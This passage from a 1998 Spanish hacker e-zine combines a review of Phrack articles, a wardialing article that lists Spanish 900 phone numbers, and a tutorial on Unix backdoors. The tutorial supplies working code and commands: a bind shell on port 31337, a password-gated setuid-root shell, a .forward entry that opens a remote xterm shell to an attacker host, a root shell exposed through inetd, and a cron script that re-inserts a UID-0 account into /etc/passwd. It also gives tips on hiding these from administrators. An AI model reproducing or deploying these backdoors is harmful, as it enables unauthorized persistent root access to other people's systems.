veriones de windows tomara nombres de .exe que el usuario ya tenga
instalados y que le puedan ser o no conocidos. Algo no comentado en
texto del autor en Phrack..

Este logger no es para idiotas, dado que despues teneis que convertir
el fichero a pelo con los codigos de teclado a lo que realmente se

ha escrito. Lo que es bueno dado que si os cazan con el instalado en
algun lugar y encuentran el fichero en el que se hace el logging en
cuestion con todo el texto ahi a lo bruto se os caeria el pelo.

Su instalacion tiene dos posibles formas:
1) A~adiendolo a Autoexec, dificil eh?

2) A~adiendolo a los registros de windows ROOT_etc_etc o al win.ini
como asi, run=mellamo.exe
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Sobre Linux Trusted Path Execution redux 8

Recomendacion de lectura 2/10
..Tecnico/Nivel Medio/Alto..

Esto si muy bonito pero no interesa un pijo, es una respuesta a

algo propuesto en otro numero..tecnico y poco relacionado pero
el que quiera que lo lea.

Sobre Hacking in Forth 9

Recomendacion de lectura 8/10
..Muy Tecnico/Nivel Alto..

Muy bien volvemos a algo interesante, sobre FORTH y las estaciones
Sun y su familia. Nos explican que al arrancar (boot sequence) la
primeras secuencias utilizan un compilador de Forth y gracias a

esto se puede conguir sobrepasar la seguridad del sistema y darla

a tarea la prioridad 0O (root).

Nos ponen unos cuantos ejemplos, bastante utiles. En resumidas
cuentas un articulo con nivel e interesante..

Interface Promiscuity Obscurity 10

Recomendacion de lectura 6/10
..Fuente / Nivel Medio..

Otro articulo que es principalmente ayuda a la fuente de un
programa que esconde una tarea (esta pensado para un sniffer)
del admin , como? cambiendo el FAG IFF_PROMISC..

si os interesan se compila y funciona bajo FreeBSD, Linux,
HP-UX, IRIX and Solaris...otro dia mas.

Watcher, NIDS for the masses.. 11

Recomendacion de lectura 8/10
..Fuente / Nivel Medio..

Si se~or, algo rico, rico y con fundamento..aqui se nos explica

como funciona el programa Watcher (observador) y que hace.
Basicamente si tienes Linux esto es para ti. Te protege de muchos
ataques conocidos y te permite hacer un log completo de todo.

Se ejecuta en bg y no molesta mucho. Codigo compacto y que no da
casi ningun problema, lo he compilado con exito bajo varias
versiones distintas de Linux, y algunas SUSE Alemanas y funciona
a la perfeccion. Puede no permitirte a ti mismo hacer algunos
ataques pero el resto bien. No hay mas que comentar si 0s

interesa el tema pues ya sabeis a leer el articulo.
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The Crumbling Tunnel... 12

Recomendacion de lectura 10/10
..Tecnico Seguridad/ Nivel Alto..

Sobre Point-to-Point Tunneling (PPT), un articulo poniendo en

claro todas las debilidades de este protocolo creado por

ms (¢, que raro que tenga debilidades en su seguridad no? es de Ms)
pues aqui primero explica todo de lo que esta compuesto el VPN
(Virtual Private Network) de ms del que PPT es lo principal y
engloba a su vez a varios otros protocolos ya conocidos por todos.
No me voy a poner a dicutir punto por punto ya sabeis donde leerlo.

Port Scan Detection Tools... 13

Recomendacion de lectura 10/10
..Seguridad Redes/ Nivel Medio..

Como el articulo 11, aqui se trata sobre IDS (Intrusion Detection

Systems) - sistemas de deteccion de intrusos. Nos expone las maneras

de analizar los datos que este tipo de controles generan. Explica

tambien algo mas de info sobre como saber si estamos siendo scaneados

a escodindas y cosas asi. Ahora no hay mas tiempo me voy a currar
a la Web. Este articulo merece la pena y con que tengas *medio*
sentido comun cogeras la idea central del tema.

Conclusion... 14

Espero que todo esto os parezca interesante. Si interesa se seguira

haciendo de otros numeros y publicaciones a lo mejor me atrevo con
algunos numeros de la revista del CCC Journal, muy interesante. Se
publica en papel y vale 5 DM (unas 500pts).

Hack the Planet! GreeN LegenD / SET 1998
*EOF*
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-[0x05]
-l WARDIALING: 900 ]
-[ by GreeN LegenD ] SET-17-

K*kkkkkk /

Utilidades del WarDialing...

...Phreaking Practico

(Hoy Los 900, el prefijo magico)

/********

Numeros 900 - GreeN LegenD / SET Staff (c) 1998

http://set.net.eu.org - glegend@set.net.eu.org

1) Intro y Medidas Cautelares..

2) Llamada a Operadoras de (casi) cualquier Pais atraves de 900
3) Mitos sobre los Numeros 900

4) Numeros 900

1) Intro y Medidas Cautelares

Se ha hablado de los numeros 900 con antelacion en SET, pero
no voy a lo teorico, sino a lo practico. WARDIALING

Esto es ante todo una leccion practica, para ver la utilidad del
Wardialing y a la vez aprender de los 900. No es una tonteria como
algunos pensaran..encontrareis servicios de mensajeria *gratuitos*
modems que redireccionanaran vuestros faxes y algunas cosas mas..
pero eso os dejo que lo descubrais vosotros.. Pero cuando veais que
un numero nos os vale de nada no siguais llamando. Es un consejo de
la Direccion General de Hacking Espa~ola.. ;) (DGHE!)

Bueno todos sabeis ya como funcionan los numeros 900 no?

Son cuentas especiales con Telefonica que basicamente se basan en

lo siguiente : El importe de la llamada es cobrado al que la recibe,

no al que la realiza. Y como en botica hay de todo... vamos a descubrirlo
un poco, pero solo un poco para que tu mismo sigas solo. Ahi esta lo
practico del tema que hoy tratamos, que tu lo veas por ti mismo.

*Aviso*

Antes de nada un Aviso, este va para los "avispaos" :

No abuseis dado que algunos de los numeros tienen Caller id y te bloquean
despues de hacer varias llamadas, otros no funcionan desde todas las provincias
o desde moviles. Mas cosas a ciertos numero cuando descubrais lo que son
dejadlos en paz. Ejemplo claro este :

900100202 Comisaria Nacional de Policia (Caller Id)
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Un "amable" policia responde : Comisaria Nacional..
¢, Que denuncia quiere hacer?...

(Pero si quiereis que los maderos hagan una visita a domicilio)
(a vuestra casa y gratis, pues nada a delante.. )

Y por que se me preguntara el recien llegado. Numeros de bomberos, policia,
*alertas de cualquier tipo y ayuda* si juegas con ellos te puede caer una
buena. Avisados estais y que avisa no es traidor.. ademas de estar protegidos
por la ley (les proteje una parte de legislacion especial) Ademas te crees que
un juez en caso de que tenga que juzgar :

¢, Que es mas importante hackear un 900 de un Hospital -linea datos- (los hay..)?
o por el contrario
¢&Un numero 900 de sobaos Martinez ??

Piensa y reflexiona que no es tan dificil y no metas la gamba.. El
primero te caen unas cuantas cositas mas...

Mas cosas sobre los 900 todos los numeros que aqui se encuentran se han
comprobado con un movil (Limpio), eso quiere decir que cogeran una llamada desde
cualquier sitio, hay numeros listados que estan activos-contratados

pero no lo coge nadie, otros que funcionan pero desde donde he hecho

las pruebas (movil) no cogen llamadas (eso no quiere decir que no acepten
llamadas desde cualquier comunidad, simplemente que el cargo maximo por
minuto, un movil, no se acepta).Probablemente solo lo hagan de Madrid o

Barna o otras grandes ciudades (o solo ciudades donde al contratante le

de la gana..).

IMPORTANTE-IMPORTANTE-IMPORTANTE-IMPORTANTE-IMPORTANTE-IMPORTANTE-

USA UN TELEFONO LIMPIO, no uses tu casa... No te voy a explicar lo
que es un Telefono limpio, lee SET...

IMPORTANTE-IMPORTANTE-IMPORTANTE-IMPORTANTE-IMPORTANTE-IMPORTANTE-

2) Llamada a Operadoras de (casi) cualquier Pais atraves de 900

Para poder hablar con una operadora de la compa~ia de otros paises

no teneis mas que marcar 900990XXX siendo XXX el codigo del pais
Internacional, Alemania (+49) seria 900990049 y Hong Kong (+852)
900990852. Esta operadora te dejara hacer llamadas a cobro revertido,

usar un calling card de esa compa~ia y algunas cosas mas raritas..

Todo depende de la compa~ia de Telefonos respectiva..estad advertidos
que algunas no lo tienen. Despues de informarme bien, este servicio es

una "especie" de intercambio que realiza Telefonica con otras compa~ia

a cambio de que expandir su servicio Espa~a Directo.. y tened claro que
estas operadoras de un numero 900 son muy distintas de las que se pueden
contactar de otras maneras, 07+XX, 050-00+XX o bien con un numero directo
desde Espa~a.

3) Mitos sobre los Numeros 900

No existe este servicio de numero gratuitos con un comienzo comun en todos
los paises. Alemania no lo tiene, ni Turkia, China tampoco. Lo cual no
impide que estos paises no tengan numeros gratuitos..que de hecho los tienen.

Estos numeros son originarios de USA, creados por una de las filiales de AT&T
en Chicago. No se crearon de la nada como algunos quieren hacer creer al
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personal la primera empresa en tenerlos fue AT&T. :)

No busqueis el famoso fichero con todos los numeros 900 de espa~a, no tiene
detallado nada mas que el tipo de linea y poco mas (no hay nada sobre el
servicio que ofrece cada numeracion) . Ademas esta siempre muy atrasado,
prueba es que paso por mis manos unos dias despues de estar este texto casi
listo y quite altguno de los numeros que estaba activo apenas 48h antes y
luego no. Busca con un Wardialing y te asombraras de lo que encuentras.

Los 900 son terreno movedizo, cambian continuamente.. y andate con cuidado.
Necesitas tener ojos en la espalda...

4) Los Numeros

Estos que forman parte de la busqueda hecha por mi en un rato, una hora 'y 1/2
mas o menos. Y no medigas que hay pocos por no creo que quieras llenar SET
de numeros 900, dado que hay unos 100 mil posibles no apetece. Te entretienes
tu solito y los buscas..

Todo esto es un simplre ejemplo, a los 900 no *hay que tenerles miedo* simplemente
ser cuidadoso..

NA = No Acepta Recibir la Llamada
?? = Desconocido...??
1?7 & Il = La respuesta varia..

Numero -A\- Servicio (No confirmado 100%)

900118484 Lucky Strike (9 - 19h)

900202202 Salvamento y Seguridad Maritima
900123505 Estado carreteras - Teleruta
900161515 Fundacion Ayuda contra la Drogadiccion
900667788 Tarjeta Personal Telef.

900100908 Telefonica Moviles

900100525 Radiomensajeria

900107107 radiofrecuencias

900131131 Telefonica Publicidad e Informacion
900131130 Telefonica Publicidad e Informacion (FAX)
900303030 Regal Hogar Seguros (8 a 22h)
900111000 Fundacion Anti-SIDA

900200314 Averias Hidroelectrica del Cantabrico
900506070 Correos : Quejas y Reclamaciones
900111022 Telefonica Servicio PYMES
900606606 CocaCola-Fanta

900103900 BBC English

900282828 Mensatel

900303900 Daewo Motor iberica

900121127

900101110 Seguros (Ident)

900352352

900350053 NA

90001XXXX  Retevision (?) XXXX (0000 - 9999)

{ 10 Mil Numeros que pertenecen a Retevision }
{ digo yo ¢Para que querran Tantos ?;) }

900019999 Retevision (?) XXXX (0000 - 9999)
900123456 Barclays Bank Info
900100908 Moviline

900102030 BMW iberica
900101112 NA
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900990XXX
900990049
900990852
900990044
900990021

900365000
900111222
900111777
900111444
900111555
900111666
900111888
900125127
900125125
900100200
900555111
900120900
900555900
900111900
900111200
900123123
900120120
900110110
900112112
900109010
900108010
900107010
900106010
900105010
900104010
900103010
900102010
900101010
900100800
900100600
900100500
900100400
900100393
900100391
900100383
900100366
900100365
900100359
900100353
900100350
900100348
900100347
900100346
900100345
900100344
900100342
900100340
900100338
900100337
900100331
900100326
900100323
900100322
900100321
900100318
900100316
900100315
900100314
900100313
900100311
900100310

Articulo 0x05

Operadora de Cualquier Pais XXX Codigo Int (UK 044 / HK 852)
Alemania

Hong Kong

Reino Unido

Holanda ( y Paises Bajos)

Renault Asistencia (24hrs)

Fenix Directo (24hrs)

SkiP

NA

No Coge Llamada

No Coge Llamada

Obras Hidraulicas

Modem

Servicio de Informacion Banco del Comercio
NA

Telefonica Grandes Clientes

Telefonica Grandes Clientes

Euskera

NA

Caja Espa~a / Cuelga Fuera de Horario

Repsol

Modem

Banca Telefonica Banco Urquijo
Mondial Asistencia (8 - 18h)

Mondial Asistencia (8 - 18h)

Mondial Asistencia (8 - 18h)

Vasco Navarro

Mondial Asistencia (8 - 18h)

Mondial Asistencia (8 - 18h)

Mondial Asistencia (8 - 18h)
Asociacion Telefonica de Asistencia a Minusvalidos (ATA)
Telefonica Redireccion de Llamadas
?¢

Prado del Rey (RTVE)

Renault (9 - 18h)

Servicio de Informacion de IBM

?¢

Servicio Tecnico Josen Social

?¢

Centro de Asistencia Juridica Vitalicio Seguros

?¢

?¢

?¢

Chestel Ban (Varios Idiomas/6 Castellano) +pin code
i

NA

->a un movil ;)

?¢

Despues Ext #XXXX X=4 Digitos

Philips Telecomunications Iberica

Servicio Telefonico Banco Herrero (24h)

?¢

?¢

?¢

Faisa Salud Animal

Telefonica Moviles (24h)

SOS Asistencia (24h)

?¢
Modem

?¢

Modem

NA

Servicio de Atencion ? (24h)
(musica clasica)

?¢
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900100308 Eliza Faberge (Madrid)

900100307 ?é

900100303 2

900100289 ?é

900100288 Modem

900100284 Modem

900100283 2

900100279 Clinica Roche (8 - 17h)

900100275 ?¢

900100271 2

900100266 ?é

900100263 Servicio al Cliente ?

900100262 Plus Ultra

900100258 Modem

900100256 Modem

900100250 ?¢

900100248 Como Con

900100246 Tomas Redondo (8 - 19.30h)

900100244 2

900100243 Modem

900100240 Witehur Asistencia

900100239 Volkswagen Asistencia

900100238 ?¢

900100237 Di Info

900100228 2

900100224 Modem

900100222 Modem

900100217 Modem

900100216 Policia

900100214 ITT Hercos

900100208 2

900100207 AGB

900100206 2

900100204 2

900100202 Comisaria Nacional de Policia (Caller Id)

900100201 Modem

900100200 NA

900100199 Servicio Internacional (91-6307400)
(91-6307402)
(91-6307403)
(97-0836339)

*Son unas toca webos.. jugad a llamarlas al 900 y os devolveran las
llamadas si teneis caller id, sino se putean.

900100197 Club Financiero

900100195 Global Calling Card (Castellano)
900100194 Global Calling Card (Italiano)
900100192 Global Calling Card (Aleman)
900100191 Global Calling Card (Frances)
900100190 Global Telecomunications Calling Cards
900100189 Plus Ultra

900100188 Modem

900100187 SER

900100185 Telecomputers

900100183 ?é

900100180 2

900100179 Modem 14.4 **Interesante.... XD**
900100178 2

900100177 Contestador...

900100173 NCR

900100170 2

900100169 sofresh

900100168 Cosmetica Selecta

900100167 Compa~ia Alemana - Calling Card
900100166 2

900100164 ?é
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900100161 EPSON

900100160 NA

900100159 ?¢

900100156 NA

900100155 Linea Directa Argentaria
900100151 ?é

900100150 Atencion al consumidor Johnson & Johnson
900100149 Ofitel

900100147 Servicio Gratuito de Grabaciones Don Julian (9 - 20h)
900100144 NA

900100142 Ala Hora

900100140 Cadena Dial

900100136 ?é

900100135 NA

900100133 NA

900100131 Modem/Fax

900100128 MRV Internacional (#1 MRV #2 FedEXx)
900100123 NA

900100122 ?¢

900100121 2

900100120 Linea Directa Aseguradora
900100119 Arbis Trans

900100117 Coge Llamada

900100115 NA

900100110 Atencion Telef. La Vanguardia
900100109 Interesante

900100108 2

900100107 NA

900100106 Modem

900100105 CVT

900100104 ?¢

900100103 NA

900100102 Info Guadis

900100101 Zuritel

900100100 Informacion al Accionista de Repsol (10 - 18h)
900100093 NA

900100092 La General

900100091 ?¢

900100090 NA

900100089 NA

900100088 ?¢

900100087 NA

900100086 NA

900100085 NA

900100084 NA

900100082 ?é

900100081 Hotel

900100080 NA

900100077 Mensajes

900100073 Privado ?!

900100072 Movistar

900100066 ?¢

900100064 NA

900100063 NA

900100062 Prevision Sanitaria Nacional (Musica Titanic)
900100061 Modem

900100060 NA

900100056 Modem

900100055 ?¢

900100051 Modem

900100050 NA

900100049 11

900100048 ?¢

900100046 Modem

900100045 Zole

900100044 Modem

900100041 Privado
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900100040
900100039
900100038
900100037
900100036
900100035
900100034
900100033
900100032
900100031
900100030
900100029
900100028
900100024
900100023
900100022
900100021
900100020
900100019
900100018
900100017
900100016
900100015
900100014
900100013
900100012
900100011
900100010
900100009
900100008
900100007
900100006
900100005
900100004
900100003
900100002
900100001
900136524

Si alguien tiene material sobre Pagers/buscas que se ponga en contacto..

Euskak

Redir - N° Privado !?

Investigaciones

Linea 900

Asociacion Espa~ola Contra el Cancer
Via Digital

Asistencia

|

!

Telefonica Publicidad e Informacion
Euskera

?¢

GMSO

?¢

Dispomer Consumo (9 - 22h)

Dispomer Consumo (9 - 22h)

Asistencia Tecnica

MediCare (9 - 17h)

Telefonica Relaciones Laborales

NA

NA

Urgencias Medicas

NA

Modem/Fax (9600)

Modem/Fax

Modem/Fax

NA

?¢

Asistencia para mujeres que sufren malos tratos
3M (9 - 18h)

Compa~ia Canadiense de Tabacos

?¢
Modem

NA

?¢

NA

C&C Telecomunicaciones
Mondial Asistencia en Carretera

Keep on Hacking & Hack THe PLANET!

- GreeN LegenD - gelegend@set.net.eu.org - (c) 1998 -

*EOF*
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-[ 0x06 ]
- BACKDOORS ]
-[ by Fuego Fatuo ] SET-17-

BackDoors por Fuego Fatuo (La KaTeDral)

Este texto es una adaptacion/traduccion del articulo '‘BackDoors Revised’
publicado en la Confidence Remains High n.3 escrito por Blk-Majik (Menuo nick
XDDDD ). He a~adido algunas backdoors, he modificao otras y he kitao otras.
Osea, ke este texto tambien tiene algo mio.

Utiliza este texto de manera responsable: Osea, ke te sirva pa asegurar algun
hack :)

Introducion:

COMO?, si esperas ke me enrolle a escribir, la llevas clara .... No me
gusta escribir, asiske ...., si tienes "alguna’ duda me escribes, si no
entiendes casi na, olvidalo tio.... (Ke RADIKAL XDDDD)

Ke es una backdoor?

Puessss,....., €s una 'Puerta trasera’ ke sirve pa volver a entrar a una
makina hackeada en caso de ke te kiten el acceso normal, tb se le llama asi
a lo ke dejas en una makina para asegurarte el root.

Una cosa debe estar clara, a~adir un usuario con :0:0: es de lamers, ya
ke se detecta como nal,y no solo por el root, thb por otro hacker (yo he
encontrao :0:0: SIN PASSWORD!!! Algun lamer .. ).

He de reconocer ke yo tengo una cta asi (pero kon pass), pero porke nadie
aparece por esa makina desde hace a~o0s, osea ke no me preocupa.

Ke necesito pa poner una backdoor?

Una makina donde ponerla (osea login y pass), de momento, con esto solo te
basta pa poner alguna backdoor, tb es verdad ke kon eso ... poco mas ke
komerte los mocos.

Nene!!, trabaja un poco y conviertete en root.

*Por cierto, por si no te habias dao cuenta, me refiero a backdoors para
sistemas basados en UNIX.

Bien, veamos esas backdoors:

1- Pa poner esta backdoor, con solo ser un simple usuario basta, consiste
en un simple programita en C, ke al ejecutarlo se keda ejecutando en segundo
plano residente, este programita es un servidor, e.d. atiende un puerto,
cuando alguien se conesta a ese puerto,el servidor atiende a ese ’alguien’,
ejecuta una shell y deja ke ese alguien interactue (los gurus de linux me
mataran al ver komo explico esto) con esa shell, osea, komo si estuviera
dentro, eso si, sin dejar logs (esto es bueno),una cosa ke no debeis olvidar,
es poner al final de cada linea un ’;’ (no voy a explicar porque).

Pa ke lo entiendas:
cat /etc/passwd -pasa a ser- cat /etc/passwd;

Se ejecuta el comando y depues dara un error, pasa de el, komo yo paso de
VOSOtros ..... (Y MAS, Y MAS, Y MAS RADIKAL XDDDDD. ME RULO!!!)

Evidentemente, esta backdoor no es muy recomendable ya ke se ve con un
simple 'ps’, ademas, cuando el servidor ejecuta la shell lo hace como akel ke
ha ejecutao el programa, osea ke si pones esta backdoor sin ser root, solo
te aseguras el acceso como usuario, bueno ... algo es algo.

El programa en cuestion:
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<++> set_017/backdoors/backl.c
/* quick thingy... bind a shell to a socket... defaults to port 31337 */

[* code by pluvius@io.org */
/* don't forget.. when you connect to the port.. commands are like: */
[*"Is -I;" or "exit;" (don’t forget the ’;") */

#define PORT 31337
#include <stdio.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
struct sockaddr_in serv_addr; struct sockaddr_in client_addr;

int main ()

{

soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (soc_des == -1) exit(-1);

bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(PORT);

soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
if (soc_rc = 0) exit(-1);

if (fork() !=0) exit(0);

setpgrp();
signal(SIGHUP, SIG_IGN);
if (fork() != 0) exit(0);

soc_rc = listen(soc_des, 5);
if (soc_rc != 0) exit(0);
while (1)
{
soc_len = sizeof(client_addr);
soc_cli = accept(soc_des, (struct sockaddr *) &client_addr,&soc_len);
if (soc_cli < 0) exit(0);
cli_pid = getpid();
server_pid = fork();

if (server_pid != 0)
{

dup2(soc_cli,0);
dup2(soc_cli,1);
dup2(soc_cli,2);
execl("/bin/sh","sh",(char *)0);
close(soc_cli);
exit(0);

close(soc_cli);

A o~

*NOTA: Pa los pocos espabilados: Para ke no te vean el programa al primer
ps ke haga alguien ponle un nombre gue no resalte musso, como 'bash’,’chfn’
o algo asi ..., vamos, no le pongas 'mi_backdoor'.

Mejoras: lo malo de esta backdoor es ke kualkiera ke haga telnet ha ese
puerto entrara, la mejora puede ser ke pida un password exclusivo (osea
ke no este en el /etc/passwd) y asi solo tu podras entrar por ese puerto. Si
alguien tiene la ocurrencia de hacerlo, por favor, ke me lo mande.
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2- forward, Esta backdoor es mu chuli, con esta te aseguras el acceso,
consiste en modificar el .forward de un usuario (si es el root cojonudo ya ke
entrarias como root), el .foward es un fichero ke usa el mail, cuando ese
usuario reciba algun mail hara lo ke el .forward ponga ke tiene ke hacer,
responder , ejecutar comandos, etc .... }:)

Osea, cuando este en una makina pon:

echo \username >> ~/.forward
echo |"/usr/local/X11/bin/xterm -display hacksys.other.dom:0.0 -e /bin/sh"
>>~/ forward

Esto te abrira una ventana de X-windows, pero antes debes de poner

'xhost +victima.gov’ en un makina para permitir ke se te abra una ventana en
tu sistema desde victima.gov. Por supuesto debes de estar en X-windows
(por si acaso ...).

Ten en cuenta, de ke si mandas correo asi:
mail tontodelculo@victima.gov

Tardara un tiempo en llegar, por lo tanto tardara un tiempo en ejecutarse lo
ke pongas en el .forward, para solventar este problema, haz:

telnet victima.gov 25
HELO kojones.net

MAIL FROM: tutankamon
RCPT TO: username
DATA

Soy Edu, Feliz Navidad!!!!
QuUIT
Y ya esta ... asi le llegara el mail casi instantaneamente.

La verdad es ke hay mejores opciones, ya ke esto lo ejecutaria cada vez ke
ese usuario recibiera mail, bueno, tu eres el encargado de aprovechar esta
backdoor. Tambien recuerda en borrar el mail kuando entres o simplemente no
mandarle un mail sospechoso para ke no sospeche.

Otra cosa ...... si no tienes IP fija lo anterior de la xterm no te servira
ye ke cada vez tendras una IP distinta.

A partir de ahora,para poner las siguientes backdoors, debes de ser root,
:( asiske ya sabeis...

3- Un sushi, esto es una backdoor para mantener el root, pero para
conseguirlo una vez dentro, osea, es copiar una shell (por ejemplo /bin/sh)
con un nombre ke no llame la atencion y como root ponerle los permisos 4755,
es decir, ke cualkiera pueda ejecutar esa shell con los permisos del root
osea:

#cp /bin/sh /bin/fwalld
#chmod 4755 /bin/fwalld

Si como un usuario normal ejecutas /bin/fwalld .. :) . Lo malo del sushi es
ke si otro lo encuentra y lo ejecuta tambien se hace root, esto se puede
mejorar poniendo un sushi seguro, esto es, un programa ke te pide password
antes de ejecutar el shell. Aki muestro uno ke he hecho yo, pero, lo pongo
solo pa ke veas como es no para ke lo copies,lo subas y ya tienes backdoor,
porque para eso te subes otras backdoors mejores ke hay (rootkits por ejemplo),
pongo el programa para ke lo veas (si lo kieres usar usalo, a mi me da igual)
y aprendas ha hacer uno (se hace en 3min.) para ponertelo, osea, si no tienes
tiempo para ponerte a instalar un rootkit vas con el 'vi’ mismo escribes el
programa lo compilas (recuerda: chmod 4711 <programa>) y lo dejas alli para
cuando tengas tiempo de instalar el rootkit u otra backdoor mejor.
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Es importante ke sepas programar en C en este mundillo, asiske si no sabes,
deja de poner backdoors vy estudia.

El codigo fuente:

<++> set_017/backdoors/sushi.c
/* Sushi Seguro

* por Fuego Fatuo (La KaTeDral)
*

* El programa se puede mejorar encriptando el password

* yo personalmente notengo ninguna gana de molestarme,

* si alguien desea hacerlo, por favor,que me mande una copia
*

#include <stdio.h>

#include <stdlib.h>

#define secret_passwd "mipass12\0”
main (void)

char *key;
key =(char *)(getpass ("Password:"));
if (Istrcmp(key,secret_passwd))

setuid(0);
setgid(0);
seteuid(0);
setegid(0);
system(“/bin/sh");

Compila el programa, dale permisos 4711 y ya esta, no hace falta ke copies la
shell. Por supuesto el programa se puede mejorar de mil maneras, si te
molestas en hacerlo, mandame una copia.

4- Inetd. Esta es una de las mas usadas (S| NO LA KE MAS....).
Un POCO de explicacion previa.

El inetd es un 'programilla’ ke escucha los puertos de una makina, entonses,
cuando alguien conesta a un puerto determinao, el inetd ejecuta el demonio
asociao a ese puerto. Bien lo primero: abre un puerto, pa esto esta el
fichero /etc/services.

ok, en el /etc/services vas a ver algo asi:

tcpmux litcp #TCP Port Service Multiplexer
tcpmux 1/udp #TCP Port Service Multiplexer
compressnet 2/tcp  #Management Utility
compressnet 2/udp #Management Utility
compressnet 3/tcp #Compression Process
compressnet 3/udp #Compression Process

Ke cojones es esto?
ftp 21/tcp #File Transfer [Control]
(1] [213] # 4 ]
1: Nombre del servicio
2: Puerto ke usa el sistema pa ese servicio
3: El protocolo, puede ser tcp o udp, nosotros pondremos el tcp
4: Descripcion de lo ke hase ese servicio
Bien, eso kiere decir ke esta abierto el puerto 21, y le ha dao el nombre
de ftp. Pos nosotros a~adiremos otra linea mas o menos del mismo estilo, pa

abrir el puerto, el numero/nombre del servicio no debe llamar la atencion,
fijate, ke el numero/nombre del puerto no este ya en uso.
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Un puerto ke por ejemplo no se suele usar es el 26, bien pongamos algo asi:
fwalld  26/tcp #Firewall daemon

Ahora, tenemos ke konfigurar el inetd pa ke ejecute una shell cuando alguien
se coneste a ese puerto. Esto se hace en el fichero /etc/inetd.conf , antes
de na, hechemosle un vistazo:

Veras algo asi:

ftp stream tcp nowait root /usr/libexec/tcpd ftpd -l -A
telnet stream tcp nowait root /usr/libexec/tcpd telnetd
shell stream tcp nowait root /usr/libexec/tcpd rshd
login stream tcp nowait root /usr/libexec/tcpd rlogind -a
exec stream tcp nowait root /usr/libexec/tcpd rexecd

Que significa esto?

ftp stream tcp nowait root /usr/libexec/tcpd ftpd -l -A

[ [2]1B] [41[5][ 6 1 7]

1: Nombre del servicio en el /etc/services.

2: Tipo de conexion ke utiliza el servicio

3: Protocolo. Siempre es TCP o UDP

4: Cuanto tiempo se tiene ke retrasar la conexion.

5: Usuario kon el ke se ejecuta el demonio (se usa para los permisos
uid/gid etc ...)

6: Ke programa va a mantener la conexion

7: Comando o demonio

Ok, osea que, segun la linea anterior, Cuando alguien haga un telnet al
puerto 21 de esta makina,va a tener una conexion stream/tcp y no va a esperar
nada. Ademas, el usuario, como root, va a ejecutar sobre /usr/libexec/tcpd el
comando ftpd (demonio de FTP en este caso).

Ya ke sabemos lo ke significa esto, instalemos lo ke nos falta de nuestra
backdoor, haber .... keremos ke kuando konectemos al puerto 26 se ejecute un
shell, osea /bin/sh no?, vale, estamos deacuerdo, ademas, no keremos ke
espere nada, osea, ke nos deje entrar nada mas conectar, por supuesto, la
shell la tiene ke ejecutar como root si no, pierde casi toda la gracia, lo
ultimo es ver el tipo de conexion, pues es stream/tcp, Si eres un poco
‘curiosillo’ (Cosa muy importante en esta 'profesion’ :) te preguntaras
por que?, pos no te lo voy a decir (porque no lo se :), pero bueno ...
tu hazme caso y ya esta, si alguien me kiere escribir para explicarmelo, se
lo agradeceria mucho. Bueno, dejemosnos de rollo, la linea es:

fwalld  stream/tcp nowait root /bin/sh sh -i

Esta linea la meteis por enmedio del /etc/inetd.conf y no canta musso.
Ahora reseteais el inetd pa ke koja los 'educativos’ cambios. :) . Esto lo
haceis asi:

#killall -1 inetd=20

o

# ps ax|grep inetd
{mira el pid del inetd}
#kill -9 pid_del_inetd
#inetd

Haz ps y asegurate ke se ha reiniciado, ya ke lo ke haces es matar el inetd
(nadie se podra conectar) y despues volverlo a ejecutar. Pos ya ta!l! Ya ta
instalada.

Ahora probad la backdoor accediendo como usuario normal:

$telnet localhost 26
#

Mejoras para esta backdoor:
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Lo malo de esta backdoor, es ke kualkier otro puede hacer telnet a ese
puerto y entrar como root, ya ke no existe password, bueno ...., puedes poner
que se ejecute, en vez de una shell, un demonio creado por ti y ke pida
password (el kual solo lo sabras tu). Otra posibilidad es ke, en vez de
ejecutar /bin/sh, pongas un sushi como el del aparatado anterior y entonces,
no resaltara tanto ya ke no pondra el /bin/sh, (Mi 'sushi seguro’ no
funciona en este caso), la verdad es ke tampoco hace falta ke sea un sushi,
kon ke solo copies el shell basta, no hace falta ke le des permisos
especiales. La linea kedaria asi:

fwalld stream/tcp nowait root /bin/fwalld fwalld
Ya resalta menos.

Si alguien realiza un servidor ke pida un password exclusivo (sin ke este en
el /etc/passwd y sin modificar el login) antes de ejecutar una shell ke me lo
mande.

5- CRONos |, el root del tiempo XDDDDD

Los troyanos del cron son buenos para mantener el acceso como root en un
sistema si el administrador legal (o otro 'no legal’ :) nos kita el acceso.

El Cron es un demonio 'temporal’, osea, se encarga de hacer ke el sistema
ejecute la orden ke tu kieras kuando kieras :). Escribe crontab en el shell,
entonces te mostrara como introducir, ejecutar y kitar crons. El fichero de
configuracion es /var/spool/cron/crontabs/root (no en todos los sistemas
esta ahi, pero bueno... molestate en buscarlo).

Asi es como es el fichero de configuracion:

0 0 * * 1 Jusr/bin/updatedb
1 @2 B M Bl [ 6 ]

: minuto, 0-59

: hora, 0-23

: dia del mes, 1-31

: mes del a=Flo, 1-12
: dia de la semana, 0-6
: comando a ejecutar

U WNE

Este cron se ejecutara todos los lunes a las 00:00. Para modificar el Cron
para ke haga algo 'educativo’ solo tienes ke a~adir una linea en el fichero
Ivar/spool/crontab/root.

Por ejemplo, si, para simplificar tus accesos metes un usuario de UID 0 en el
letc/passwd, puedes meter un cron ke compruebe si el administrador (el legal
0 no) ha kitado ese usuario ke usabas.

Por ejemplo, lo programas para ke se ejecute todos los sabados a las 00:00
(asi puedes acceder a ese sistema durante el fin de semana). Esto se hace
a~adiendo al /var/spool/crontab/root la linea:

0 0 * * 5 lusr/bin/revive.sh

Copia este programa en el directorio /usr/bin (o donde kieras), recuerda en
cambiarle el nombre para ke no kante mucho:

revive.sh

<++> set_017/backdoors/revive.sh

#!/bin/sh

#Is YourUser still on the system? Let's make sure he is.
#daemon9@netcom.com

set evilflag = (‘grep YourUser /etc/passwd’)

if($#evilflag == 0) then # Is he there?
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set linecount = ‘wc -I /etc/passwd’

cd # Do this at home.

cp /etc/passwd ./temppass # Safety first.

@ linecount[1] /=2

@ linecount[1] +=1 # we only want 2 temp files
split -$linecount[1] ./temppass # passwd string option

echo "YourUser::0:0:Mr. Hacker:/lhome/hacker:/bin/csh" >> ./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd

